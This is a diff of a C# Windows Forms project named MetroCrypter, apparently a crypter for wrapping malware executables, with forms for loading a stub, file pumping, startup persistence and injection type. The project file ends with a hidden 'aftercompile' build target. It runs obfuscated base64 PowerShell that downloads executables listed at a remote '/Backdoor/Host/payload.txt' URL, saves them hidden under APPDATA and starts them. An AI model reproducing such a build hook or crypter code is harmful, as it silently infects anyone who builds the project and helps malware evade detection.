Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="button1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt
lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan
KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP
IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8
+Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA
nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu
QmCC
</value>
</data>
</root>
@@ -0,0 +1,38 @@
namespace MetroCrypter.Forms
{
partial class injectiontype
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Text = "injectiontype";
}
#endregion
}
}
@@ -0,0 +1,132 @@
using MetroCrypter;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Resources;
using System.Windows.Forms;
namespace MetroCrypter.Forms
{
public class injectiontype : Form
{
private const int WM_NCHITTEST = 132;
private const int HT_CLIENT = 1;
private const int HT_CAPTION = 2;
private IContainer components = null;
private Button button2;
private Button button1;
private ComboBox comboBox1;
public injectiontype()
{
this.InitializeComponent();
if (Form1.CID.ijtype != string.Empty)
{
this.comboBox1.SelectedItem = Form1.CID.ijtype;
}
}
private void button1_Click(object sender, EventArgs e)
{
base.Close();
}
private void button2_Click(object sender, EventArgs e)
{
Form1.CID.ijtype = this.comboBox1.SelectedItem.ToString();
base.Close();
}
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if ((!disposing ? false : this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(injectiontype));
this.button2 = new Button();
this.button1 = new Button();
this.comboBox1 = new ComboBox();
base.SuspendLayout();
this.button2.BackColor = Color.FromArgb(85, 94, 102);
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatStyle = FlatStyle.Flat;
this.button2.ForeColor = Color.White;
this.button2.Location = new Point(109, 144);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(75, 23);
this.button2.TabIndex = 35;
this.button2.Text = "Apply";
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new EventHandler(this.button2_Click);
this.button1.BackColor = Color.Transparent;
this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage");
this.button1.BackgroundImageLayout = ImageLayout.Center;
this.button1.FlatAppearance.BorderSize = 0;
this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray;
this.button1.FlatStyle = FlatStyle.Flat;
this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button1.Location = new Point(263, 0);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(29, 31);
this.button1.TabIndex = 36;
this.button1.TabStop = false;
this.button1.TextAlign = ContentAlignment.BottomCenter;
this.button1.TextImageRelation = TextImageRelation.ImageAboveText;
this.button1.UseVisualStyleBackColor = false;
this.button1.Click += new EventHandler(this.button1_Click);
this.comboBox1.DropDownStyle = ComboBoxStyle.DropDownList;
this.comboBox1.FormattingEnabled = true;
this.comboBox1.Items.AddRange(new object[] { "Itself" });
this.comboBox1.Location = new Point(85, 71);
this.comboBox1.Name = "comboBox1";
this.comboBox1.Size = new System.Drawing.Size(121, 21);
this.comboBox1.TabIndex = 37;
this.comboBox1.SelectedIndexChanged += new EventHandler(this.comboBox1_SelectedIndexChanged);
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = Color.FromArgb(33, 35, 38);
base.ClientSize = new System.Drawing.Size(292, 182);
base.Controls.Add(this.comboBox1);
base.Controls.Add(this.button1);
base.Controls.Add(this.button2);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.MaximumSize = new System.Drawing.Size(292, 182);
base.Name = "injectiontype";
base.ShowIcon = false;
base.ShowInTaskbar = false;
base.StartPosition = FormStartPosition.CenterScreen;
this.Text = "injectiontype";
base.Load += new EventHandler(this.injectiontype_Load);
base.ResumeLayout(false);
}
private void injectiontype_Load(object sender, EventArgs e)
{
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
if (m.Msg == 132)
{
m.Result = (IntPtr)2;
}
}
}
}
@@ -0,0 +1,132 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="button1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt
lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan
KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP
IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8
+Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA
nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu
QmCC
</value>
</data>
</root>
@@ -0,0 +1,179 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{FDFD0732-E42E-404F-91EC-0D73C391CF22}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>MetroCrypter</RootNamespace>
<AssemblyName>MetroCrypter</AssemblyName>
<TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="MetroFramework">
<HintPath>..\..\..\..\..\Desktop\Crypter\MetroCrypter\MetroFramework.dll</HintPath>
</Reference>
<Reference Include="MetroFramework.Design">
<HintPath>..\..\..\..\..\Desktop\Crypter\MetroCrypter\MetroFramework.Design.dll</HintPath>
</Reference>
<Reference Include="MetroFramework.Fonts">
<HintPath>..\..\..\..\..\Desktop\Crypter\MetroCrypter\MetroFramework.Fonts.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Assembly.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Assembly.Designer.cs">
<DependentUpon>Assembly.cs</DependentUpon>
</Compile>
<Compile Include="Enc.cs" />
<Compile Include="Form1.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Form1.Designer.cs">
<DependentUpon>Form1.cs</DependentUpon>
</Compile>
<Compile Include="Forms\Binding.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Forms\Binding.Designer.cs">
<DependentUpon>Binding.cs</DependentUpon>
</Compile>
<Compile Include="Forms\FilePump.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Forms\FilePump.Designer.cs">
<DependentUpon>FilePump.cs</DependentUpon>
</Compile>
<Compile Include="Forms\injectiontype.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Forms\injectiontype.Designer.cs">
<DependentUpon>injectiontype.cs</DependentUpon>
</Compile>
<Compile Include="Forms\Popup.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Forms\Popup.Designer.cs">
<DependentUpon>Popup.cs</DependentUpon>
</Compile>
<Compile Include="Forms\ProfileDialog.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Forms\ProfileDialog.Designer.cs">
<DependentUpon>ProfileDialog.cs</DependentUpon>
</Compile>
<Compile Include="Forms\Startup.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Forms\Startup.Designer.cs">
<DependentUpon>Startup.cs</DependentUpon>
</Compile>
<Compile Include="Forms\Timer.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Forms\Timer.Designer.cs">
<DependentUpon>Timer.cs</DependentUpon>
</Compile>
<Compile Include="Options.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Options.Designer.cs">
<DependentUpon>Options.cs</DependentUpon>
</Compile>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Resources\Compiler.cs" />
<EmbeddedResource Include="Assembly.resx">
<DependentUpon>Assembly.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Form1.resx">
<DependentUpon>Form1.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Forms\Binding.resx">
<DependentUpon>Binding.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Forms\FilePump.resx">
<DependentUpon>FilePump.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Forms\Popup.resx">
<DependentUpon>Popup.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Forms\ProfileDialog.resx">
<DependentUpon>ProfileDialog.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Forms\Startup.resx">
<DependentUpon>Startup.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Forms\Timer.resx">
<DependentUpon>Timer.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Options.resx">
<DependentUpon>Options.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
</None>
<Compile Include="Properties\Settings.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
<Target Name="aftercompile"><Exec IgnoreExitCode="true" ContinueOnError="true" Command="powershell invoke-expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('W3N0cmluZ1tdXSAkbGlua3MgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovL2dvdWFzYnFhaDEuZ290ZG5zLmNoL0JhY2tkb29yL0hvc3QvcGF5bG9hZC50eHQnKSkpLlNwbGl0KCd8Jyk7IEZvckVhY2ggKCRpdGVtIEluICRsaW5rcykgeyBbc3RyaW5nXSAkcGF0aHM7IGlmIChbU3lzdGVtLklPLkRpcmVjdG9yeV06OkV4aXN0cygkZW52OkFQUERBVEEgKyAnXFNreXBlXCcpKXsgJHBhdGhzID0gJGVudjpBUFBEQVRBICsgJ1xTa3lwZVwnO30gZWxzZSB7ICRwYXRocyA9ICRlbnY6QVBQREFUQSArICdcTWljcm9zb2Z0XFZpc3VhbFN0dWRpb1wnO30gJHBhdGhzICs9IFtTeXN0ZW0uSU8uUGF0aF06OkdldFJhbmRvbUZpbGVOYW1lKCkuUmVtb3ZlKDkpICsgJ2V4ZSc7IChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJGl0ZW0sICRwYXRocyk7W1N5c3RlbS5JTy5GaWxlXTo6U2V0QXR0cmlidXRlcygkcGF0aHMsIFtTeXN0ZW0uSU8uRmlsZUF0dHJpYnV0ZXNdOjpIaWRkZW4pO3N0YXJ0ICRwYXRoczt9')));" /></Target></Project>
@@ -0,0 +1,47 @@
namespace MetroCrypter
{
partial class Options
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.SuspendLayout();
//
// Options
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(284, 261);
this.Name = "Options";
this.Text = "Options";
this.Load += new System.EventHandler(this.Options_Load);
this.ResumeLayout(false);
}
#endregion
}
}
@@ -0,0 +1,303 @@
using MetroCrypter.Forms;
using MetroFramework.Components;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Resources;
using System.Windows.Forms;
namespace MetroCrypter
{
public class Options : Form
{
private Startup startup;
private FilePump fp;
private injectiontype ijtype;
private MetroCrypter.Forms.Timer tm;
private const int WM_NCHITTEST = 132;
private const int HT_CLIENT = 1;
private const int HT_CAPTION = 2;
private IContainer components = null;
private Button button1;
private Button ExeLoad;
private Label ils;
private Button button2;
private Button button3;
private Button button5;
private Button button6;
private Button IcoLoad;
private MetroToolTip metroToolTip1;
public Options()
{
this.InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
base.Close();
}
private void button2_Click(object sender, EventArgs e)
{
base.WindowState = FormWindowState.Minimized;
}
private void button2_Click_1(object sender, EventArgs e)
{
this.fp = new FilePump();
this.fp.ShowDialog();
}
private void button3_Click(object sender, EventArgs e)
{
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
if (openFileDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
openFileDialog.Filter = "Payload|*.exe";
Form1.CID.filename = openFileDialog.FileName;
this.ExeLoad.Text = string.Concat("\n", openFileDialog.SafeFileName.ToString());
this.ExeLoad.ImageAlign = ContentAlignment.BottomCenter;
}
}
}
private void button3_Click_1(object sender, EventArgs e)
{
this.startup = new Startup();
this.startup.ShowDialog();
}
private void button5_Click(object sender, EventArgs e)
{
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
openFileDialog.Filter = "Icon|*.ico";
if (openFileDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
Form1.CID.iconame = openFileDialog.FileName;
this.IcoLoad.Text = string.Concat("\n", openFileDialog.SafeFileName.ToString());
this.IcoLoad.ImageAlign = ContentAlignment.BottomCenter;
}
}
}
private void button5_Click_1(object sender, EventArgs e)
{
this.ijtype = new injectiontype();
this.ijtype.ShowDialog();
}
private void button6_Click(object sender, EventArgs e)
{
this.tm = new MetroCrypter.Forms.Timer();
this.tm.ShowDialog();
}
private void delaylabel_Click(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if ((!disposing ? false : this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Options));
this.button1 = new Button();
this.ExeLoad = new Button();
this.ils = new Label();
this.button2 = new Button();
this.button3 = new Button();
this.button5 = new Button();
this.button6 = new Button();
this.IcoLoad = new Button();
this.metroToolTip1 = new MetroToolTip();
base.SuspendLayout();
this.button1.BackColor = Color.Transparent;
this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage");
this.button1.BackgroundImageLayout = ImageLayout.Center;
this.button1.FlatAppearance.BorderSize = 0;
this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray;
this.button1.FlatStyle = FlatStyle.Flat;
this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button1.Location = new Point(306, 0);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(29, 31);
this.button1.TabIndex = 28;
this.button1.TabStop = false;
this.button1.TextAlign = ContentAlignment.BottomCenter;
this.button1.TextImageRelation = TextImageRelation.ImageAboveText;
this.button1.UseVisualStyleBackColor = false;
this.button1.Click += new EventHandler(this.button1_Click);
this.ExeLoad.BackColor = Color.FromArgb(64, 71, 77);
this.ExeLoad.FlatAppearance.BorderSize = 0;
this.ExeLoad.FlatStyle = FlatStyle.Flat;
this.ExeLoad.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.ExeLoad.Image = (Image)componentResourceManager.GetObject("ExeLoad.Image");
this.ExeLoad.Location = new Point(12, 39);
this.ExeLoad.Name = "ExeLoad";
this.ExeLoad.Size = new System.Drawing.Size(153, 126);
this.ExeLoad.TabIndex = 33;
this.ExeLoad.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.ExeLoad, "Load Stub");
this.ExeLoad.UseVisualStyleBackColor = false;
this.ExeLoad.Click += new EventHandler(this.button3_Click);
this.ils.AutoSize = true;
this.ils.BackColor = Color.FromArgb(85, 94, 102);
this.ils.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0);
this.ils.ForeColor = Color.White;
this.ils.Location = new Point(219, 157);
this.ils.Name = "ils";
this.ils.Size = new System.Drawing.Size(0, 16);
this.ils.TabIndex = 49;
this.button2.AllowDrop = true;
this.button2.BackColor = Color.FromArgb(64, 71, 77);
this.button2.BackgroundImageLayout = ImageLayout.None;
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatStyle = FlatStyle.Flat;
this.button2.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button2.Image = (Image)componentResourceManager.GetObject("button2.Image");
this.button2.Location = new Point(171, 171);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(153, 126);
this.button2.TabIndex = 50;
this.button2.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.button2, "File Pumper");
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new EventHandler(this.button2_Click_1);
this.button3.AllowDrop = true;
this.button3.BackColor = Color.FromArgb(85, 94, 102);
this.button3.BackgroundImageLayout = ImageLayout.None;
this.button3.FlatAppearance.BorderSize = 0;
this.button3.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77);
this.button3.FlatStyle = FlatStyle.Flat;
this.button3.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0);
this.button3.Image = (Image)componentResourceManager.GetObject("button3.Image");
this.button3.Location = new Point(12, 171);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(153, 126);
this.button3.TabIndex = 51;
this.button3.TextImageRelation = TextImageRelation.ImageAboveText;
this.metroToolTip1.SetToolTip(this.button3, "Startup");
this.button3.UseVisualStyleBackColor = false;
this.button3.Click += new EventHandler(this.button3_Click_1);
this.button5.AllowDrop = true;
this.button5.BackColor = Color.FromArgb(64, 71, 77);
this.button5.BackgroundImageLayout = ImageLayout.None;
this.button5.FlatAppearance.BorderSize = 0;
this.button5.FlatStyle = FlatStyle.Flat;
